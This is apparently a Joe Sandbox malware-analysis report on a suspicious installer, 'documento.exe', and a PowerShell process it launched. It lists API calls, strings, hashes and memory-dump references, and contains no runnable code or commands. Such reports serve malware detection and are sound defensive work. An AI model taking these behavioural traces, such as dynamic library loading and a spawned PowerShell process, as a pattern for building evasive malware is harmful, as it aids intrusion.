Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\documento.exe"$1033$Fortrstningsfuldere7 Setup: Completed$.1
API String ID: 530164218-3584388413
Opcode ID: cac771c12f9d26aaba27c7f97aced8e21b7c01c0de3e01bb5d1af4f0863655d6
Instruction ID: 76705a7a5afea2c6a0eacb6801383c1eecc8e18f8899786da29e176716c049bd
Opcode Fuzzy Hash: cac771c12f9d26aaba27c7f97aced8e21b7c01c0de3e01bb5d1af4f0863655d6
Instruction Fuzzy Hash: 5211F6F1B04611ABCB209F15DD80A737B6CEBC5716328823FE90167394C67D9E029AAC

Uniqueness

Uniqueness Score: -1.00%

Function 00402A7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402A9B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402AD7
RegCloseKey.ADVAPI32(?), ref: 00402AE0
RegCloseKey.ADVAPI32(?), ref: 00402B05
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402B23

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: b808d0bb620466522610f6ac799511a3b2708a3cf453d6ff390c0abf2acba867
Instruction ID: 77b923b5c768d409b2d5e956d577938eeee851e691c4f647a4d397fc18f4a02c
Opcode Fuzzy Hash: b808d0bb620466522610f6ac799511a3b2708a3cf453d6ff390c0abf2acba867
Instruction Fuzzy Hash: 10113D71A00108BEDF229F90DE89DAE3B7DEB54349B504436FA01F10A0D775AE51DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00401CDE Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CE2
GetClientRect.USER32 ref: 00401CEF
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D10
SendMessageA.USER32 ref: 00401D1E
DeleteObject.GDI32(00000000), ref: 00401D2D

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: ae192c24391dac1c5176a4d9133dd9bdc5872c7a76e99082ce952db885f6304b
Instruction ID: 593f524f0f56d60e1fc11a8a6bbc9e15f3312f291ea64c997066006724e53d58
Opcode Fuzzy Hash: ae192c24391dac1c5176a4d9133dd9bdc5872c7a76e99082ce952db885f6304b
Instruction Fuzzy Hash: FEF03CB2A04114AFEB01ABE4DE88CAF77BCEB54301B004476F601F6190C7749D018B79

Uniqueness

Uniqueness Score: -1.00%

Function 0040585D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405CFD: lstrcpynA.KERNEL32(?,?,00000400,0040318B,00422F20,NSIS Error), ref: 00405D0A

Part of subcall function 00405808: CharNextA.USER32(?), ref: 00405816
Part of subcall function 00405808: CharNextA.USER32(00000000), ref: 0040581B
Part of subcall function 00405808: CharNextA.USER32(00000000), ref: 0040582F

lstrlenA.KERNEL32(00421128,00000000,00421128,00421128,T'qu,?,C:\Users\user\AppData\Local\Temp\,004055BF,?,75712754,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058B0
GetFileAttributesA.KERNEL32(00421128,00421128,00421128,00421128,00421128,00421128,00000000,00421128,00421128,T'qu,?,C:\Users\user\AppData\Local\Temp\,004055BF,?,75712754,C:\Users\user\AppData\Local\Temp\), ref: 004058C0

Strings

T'qu, xrefs: 0040585F
C:\Users\user\AppData\Local\Temp\, xrefs: 0040585D

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\$T'qu
API String ID: 3248276644-3553432588
Opcode ID: cb887608a337bef365f075dbf4ed65c84e1b2a1d2ee6f30722e64456f73e84bd
Instruction ID: 909c8d3fd404249b72f59da3ca6e13a8b26d043f1499ff833ea169d8e7c403dc
Opcode Fuzzy Hash: cb887608a337bef365f075dbf4ed65c84e1b2a1d2ee6f30722e64456f73e84bd
Instruction Fuzzy Hash: FCF02823104D6121D63632361C05EAF1A84CD87364B28813BFC51B12D1CA3CC863DD7E

Uniqueness

Uniqueness Score: -1.00%

Function 0040576F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030C6,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032CD), ref: 00405775
CharPrevA.USER32(?,00000000), ref: 0040577E
lstrcatA.KERNEL32(?,00409014), ref: 0040578F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040576F

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4017390910
Opcode ID: b93cf1ceae9b045ecd4922b716e1fc9cbd1c977ad46d60c8ebcd99b8bca78654
Instruction ID: 023f7408ada8d5c1aeddc6a893877c5a2de12b35a8757b47b9c38e9f0213d55a
Opcode Fuzzy Hash: b93cf1ceae9b045ecd4922b716e1fc9cbd1c977ad46d60c8ebcd99b8bca78654
Instruction Fuzzy Hash: BCD0A972605A30BAE21237169C09E8B2A0CCF82308B148023F200B72A2C63C4D028BFE

Uniqueness

Uniqueness Score: -1.00%

Function 00401F90 Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 00401FBB

Part of subcall function 00404F16: lstrlenA.KERNEL32(rghtten,00000000,0040E8D8,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000,?), ref: 00404F4F
Part of subcall function 00404F16: lstrlenA.KERNEL32(00402FCF,rghtten,00000000,0040E8D8,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000), ref: 00404F5F
Part of subcall function 00404F16: lstrcatA.KERNEL32(rghtten,00402FCF,00402FCF,rghtten,00000000,0040E8D8,00000000), ref: 00404F72
Part of subcall function 00404F16: SetWindowTextA.USER32(rghtten,rghtten), ref: 00404F84
Part of subcall function 00404F16: SendMessageA.USER32 ref: 00404FAA
Part of subcall function 00404F16: SendMessageA.USER32 ref: 00404FC4
Part of subcall function 00404F16: SendMessageA.USER32 ref: 00404FD2

LoadLibraryExA.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FCB
GetProcAddress.KERNEL32(00000000,?,?,00000008,00000001,000000F0), ref: 00401FDB
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,00000000,?,?,00000008,00000001,000000F0), ref: 00402045

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 3b081aef81ff629f146bbe59bed4ce20841918d67cbec0e6b9b54e24ec9e4470
Instruction ID: b68841798668a23a4ff443840be3121a405d120f2a8fc72f381fb15ba3c401f2
Opcode Fuzzy Hash: 3b081aef81ff629f146bbe59bed4ce20841918d67cbec0e6b9b54e24ec9e4470
Instruction Fuzzy Hash: 72212E72904215FBDF217F648E4DA6E7670AB45318F30423BF301B52D0D7BD49419A6E

Uniqueness

Uniqueness Score: -1.00%

Function 00402C02 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00402C15
GetTickCount.KERNEL32(00000000,00402DE2,00000001), ref: 00402C33
CreateDialogParamA.USER32(0000006F,00000000,00402B7F,00000000), ref: 00402C50
ShowWindow.USER32(00000000,00000005), ref: 00402C5E

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: bf3565a8d54977e971102c74698aaa5ab0c905542a3b89f7c95156eeb2b10c0e
Instruction ID: 2730d2a3776e1339b9346d87ab19af6b7380862a528adabe40aaf425641bd1fc
Opcode Fuzzy Hash: bf3565a8d54977e971102c74698aaa5ab0c905542a3b89f7c95156eeb2b10c0e
Instruction Fuzzy Hash: 68F054B090A270ABD621BF20FE4C99F7B74E7447117124476F004B21A4C67898C1CBAC

Uniqueness

Uniqueness Score: -1.00%

Function 00404E8A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404EB9
CallWindowProcA.USER32(?,?,?,?), ref: 00404F0A

Part of subcall function 00403F2E: SendMessageA.USER32 ref: 00403F40

Strings

, xrefs: 00404E9A

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 44b8d16fffa3cf511a27652146f874074467920310ea138c5a7b32cc615b7cdd
Instruction ID: 4911906597f3eaa4ffbe68f0188cda158002c4f31c253b535ba85266db60279e
Opcode Fuzzy Hash: 44b8d16fffa3cf511a27652146f874074467920310ea138c5a7b32cc615b7cdd
Instruction Fuzzy Hash: DC0175B110020DABDB205F52EC81AAB3625F7C4751F204037FB01756D1C7399C51AAB9

Uniqueness

Uniqueness Score: -1.00%

Function 004035E8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,75712754,00000000,C:\Users\user\AppData\Local\Temp\,004035C0,004033DA,?), ref: 00403602
GlobalFree.KERNEL32(00000000), ref: 00403609

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004035E8

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-4017390910
Opcode ID: 1acdd7952de975a5de59207208c6b073b3c222a5b17fc555175c0845e7698c1d
Instruction ID: d46364a902ea990bd632c56cfb9f57f9e2cdd9ba0813e856c63e7cee72968c4e
Opcode Fuzzy Hash: 1acdd7952de975a5de59207208c6b073b3c222a5b17fc555175c0845e7698c1d
Instruction Fuzzy Hash: 93E0EC32915120ABC7225F65ED04B9ABBA87B49B26F09006BF9407B3A08B746D425AD9

Uniqueness

Uniqueness Score: -1.00%

Function 004057B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402CD2,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\documento.exe,C:\Users\user\Desktop\documento.exe,80000000,00000003), ref: 004057BC
CharPrevA.USER32(80000000,00000000), ref: 004057CA

Strings

C:\Users\user\Desktop, xrefs: 004057B6

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-66916594
Opcode ID: 34bcb0359ecd18d08228093df84e7486f7a8c477fb5e2f0dc73f73f3b7a35111
Instruction ID: 18ef7b42b2ca9dadb34ddb0bde1cbbab447e34e044d1250ac1c79b5d16d3cc30
Opcode Fuzzy Hash: 34bcb0359ecd18d08228093df84e7486f7a8c477fb5e2f0dc73f73f3b7a35111
Instruction Fuzzy Hash: 8ED0A762418D70AEF30362109C04B8F6A58CF13700F194463E040A7190C2784C414BFD

Uniqueness

Uniqueness Score: -1.00%

Function 004058D5 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B32,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004058E5
lstrcmpiA.KERNEL32(00000000,00000000,?,00000000,00405B32,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004058FD
CharNextA.USER32(00000000), ref: 0040590E
lstrlenA.KERNEL32(00000000,?,00000000,00405B32,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405917

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 0fc7b795b21fde4e840a5a8ebe1bc240de770827404be4bbaaf079e1ba8cc010
Instruction ID: 18e4c75142147f65de27112721ce36ab9a51ac25249ca18f40cf651f68c78b39
Opcode Fuzzy Hash: 0fc7b795b21fde4e840a5a8ebe1bc240de770827404be4bbaaf079e1ba8cc010
Instruction Fuzzy Hash: 01F0F632505414FFCB029FA4DD00D9EBBA8DF05360B2540B5F800F7250D234EE01AB99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 1784, Parent PID: 1308COMMON

Executed Functions

Function 00267D20 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530530266.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1031cc2cc37c6a68d7594e2f071451b087f8ac30a5126cdf92b04c4e34799b17
Instruction ID: 12d26f1223209c1defc41a7300929f66bc5fadcf9b371822ade6c259267fe1d6
Opcode Fuzzy Hash: 1031cc2cc37c6a68d7594e2f071451b087f8ac30a5126cdf92b04c4e34799b17
Instruction Fuzzy Hash: C4B18170E1420ACFDF10CFA9D8857ADBBF2AF88318F148529D415A7294EB759C99CF81

Uniqueness

Uniqueness Score: -1.00%

Function 002685F0 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530530266.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08ba884ef94010e8ae645eb0ff6e58a5fd1d7226cd801d09299f1ae63f016f9f
Instruction ID: 4b780ffe630dbef2390bd56354949c1c0c742f53466012c42f62d7b453ba8506
Opcode Fuzzy Hash: 08ba884ef94010e8ae645eb0ff6e58a5fd1d7226cd801d09299f1ae63f016f9f
Instruction Fuzzy Hash: B8B16174E1020ACFDF10CFA9D8957ADBBF2AF88314F248229D415E7394EB749895CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00AD3750 Relevance: 32.9, Strings: 25, Instructions: 1605COMMON

Download Yara Rule

Strings

4'p, xrefs: 00AD38A9
h%h, xrefs: 00AD3CAF
4'p, xrefs: 00AD40EC
h%h, xrefs: 00AD4C8F
8#h, xrefs: 00AD4F1E
tPp, xrefs: 00AD3A40
h%h, xrefs: 00AD4EF3
h%h, xrefs: 00AD4EE9
8#h, xrefs: 00AD4F28
h%h, xrefs: 00AD48A0
[h, xrefs: 00AD3A8B
h%h, xrefs: 00AD4896
h%h, xrefs: 00AD3CB9
h%h, xrefs: 00AD4B2B
[h, xrefs: 00AD4A18
4'p, xrefs: 00AD38B5
tPp, xrefs: 00AD3A34
h%h, xrefs: 00AD4B21
[h, xrefs: 00AD3A7D
`O&, xrefs: 00AD3A54
[h, xrefs: 00AD3BE5
h%h, xrefs: 00AD4C99
[h, xrefs: 00AD4A22
4'p, xrefs: 00AD40F8
[h, xrefs: 00AD3BDB

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$4'p$4'p$8#h$8#h$`O&$h%h$h%h$h%h$h%h$h%h$h%h$h%h$h%h$h%h$h%h$tPp$tPp$[h$[h$[h$[h$[h$[h
API String ID: 0-201543752
Opcode ID: bef65de4b4fb30226be6598e9f4de6c761a606711d6b88f5f45f8d4c7a0a56b8
Instruction ID: 391061e9729a3bed4d9b6710b9423d7d2fb9a4403b15eb097cab7f24e022456e
Opcode Fuzzy Hash: bef65de4b4fb30226be6598e9f4de6c761a606711d6b88f5f45f8d4c7a0a56b8
Instruction Fuzzy Hash: B2D25E74B00204DFDB14DF68C550BAEBBB2AF89304F6481AAE9569F355CB71ED82CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00AD86F0 Relevance: 28.3, Strings: 22, Instructions: 752COMMON

Download Yara Rule

Strings

h%h, xrefs: 00AD8C24
tPp, xrefs: 00AD8873
4'p, xrefs: 00AD8A01
tPp, xrefs: 00AD887F
4'p, xrefs: 00AD8BB1
h%h, xrefs: 00AD8DC7
h%h, xrefs: 00AD8DD5
h%h, xrefs: 00AD8A74
[h, xrefs: 00AD88C8
4'p, xrefs: 00AD8A0D
h%h, xrefs: 00AD8A82
8#h, xrefs: 00AD9018
[h, xrefs: 00AD8736
0Up, xrefs: 00AD870B
[h, xrefs: 00AD8740
[h, xrefs: 00AD88BA
h%h, xrefs: 00AD8F38
h%h, xrefs: 00AD8C32
`O&, xrefs: 00AD8893
4'p, xrefs: 00AD8BBD
h%h, xrefs: 00AD8F2A
8#h, xrefs: 00AD900A

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
